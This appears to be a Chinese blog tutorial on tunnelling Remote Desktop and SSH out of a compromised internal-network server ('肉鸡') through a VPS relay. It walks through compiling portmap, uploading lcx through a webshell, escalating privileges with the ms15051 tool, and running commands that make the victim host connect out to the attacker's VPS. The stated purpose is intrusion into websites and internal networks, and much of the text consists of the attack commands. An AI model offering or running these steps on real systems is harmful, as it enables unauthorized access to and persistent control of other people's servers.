首先我们先了解一下lcx是个啥
LCX的诞生理论
在理论上只要连着网我们都可以访问的,但是什么是现实呢,现实中往往由于技术的原因我们的实现是有困难的,在局域网中某台计算机仅仅开放了web服务,该服务仅仅提供内网用户的使用,而外网的用户无法直接访问。因此我们需要端口的映射等操作才可以访问,所以说端口映射是在入侵内网的时候常用到的,特别想要登录远程的服务端时,这就非常的方便了。
LCX的使用的大概方法
LCX.exe就是一个端口转发的功能,你比如说:当我们入侵一个网站的后台后在cmd中执行“ipconfig /all”命令后发现是内网的地址这是我们登录服务器是不可以的,那怎么办呢,总不能将这白花花的肉鸡丢掉把,其实很简单,我们只需要用到LCX这个工具就可以实现,比如我们这台内网的地址主机是A(内网)我们只需要上传我们的lcx工具后,在具有外网的主机B(外网)中施行中转,意思就是说将A中的3389端口转发到具有外网IP地址的B主机上,这样我们只要链接B主机的3389端口,就相当于链接了A主机的3389端口
但是现在ipv4越来越紧缺了,我们平头老百姓自己家很难拥有公网ip,但是我们渗透网站,特别是内网网站的时候却需要转发端口,这就导致了不便。
不过,我们可以在中间再加一个中转站。VPS你总有吧?一个普通配置的openvz肯定拥有公网IP,已足够满足我们的需求,年付也就百元上下(这说明国外IP多便宜…)。今天我们就来学习如何使用linux VPS进行端口中转。
先来看一张图:
其中标有数字1的是处在内网的服务器,也就是肉鸡。整个过程为了方便我是用虚拟机模拟的,下面是一些参数,得会儿要用到:
肉鸡:[内网IP]
我的VPS:10.211.55.7
在自己的VPS上
首先ssh到VPS,先保证iptables什么的都关了。
上传一个叫portmap.c的程序(下载地址:https://github.com/juzeon/fire/blob/master/portmap.c),使用gcc编译:
gcc portmap.c -o portmap #编译 chmod 777 portmap #设置可执行权限
portmap的命令如下:
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
这介绍太复杂了,可以不要看。直接输入如下命令:
./portmap -m 2 -p1 6666 -h2 0.0.0.0 -p2 7777
上面的6666是接受肉鸡讯息的端口,7777是开放给你自己的电脑访问的端口。0.0.0.0代表本机IP,并且开放给外网访问。(如果你写127.0.0.1的话外来IP就不能连接了)
如图:
在肉鸡上
现在我们访问肉鸡上面的webshell,上传lcx工具。先确认是system权限(ms.exe是ms15051提权工具):
然后输入命令启动lcx:
C:\inetpub\wwwroot\ms.exe "C:\inetpub\wwwroot\lcx.exe -slave 10.211.55.7 6666 127.0.0.1 3389"
其中10.211.55.7是中转VPS的ip地址,6666就是刚才设置的与肉鸡通信的端口。这个工具网上教程很多,就不多讲了。
然后点击执行后会发现你的浏览器一直显示正在连接,这是正常的,因为后台一直在通信。
现在用你自己的电脑配置远程会话:
远程连接的IP这时候要写成你VPS的IP:开发给外网的端口。比如根据刚才的步骤我这里就是10.211.55.7:7777。其他的用户什么你应该已经用webshell加上了。
然后连接:
如此就成功了。因为我用的是虚拟机,看起来有点奇怪将就着吧。。
后记
使用这种方式,同样你也可以把内网linux肉鸡的SSH给转发出来连接。具体命令如下(在肉鸡上运行):
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 10.211.55.7 -p2 6666
这句话意思是将本机的22端口(默认的SSH端口)转发到你VPS(10.211.55.7)的6666端口,其他的操作也大同小异。
嗯,差不多就是这样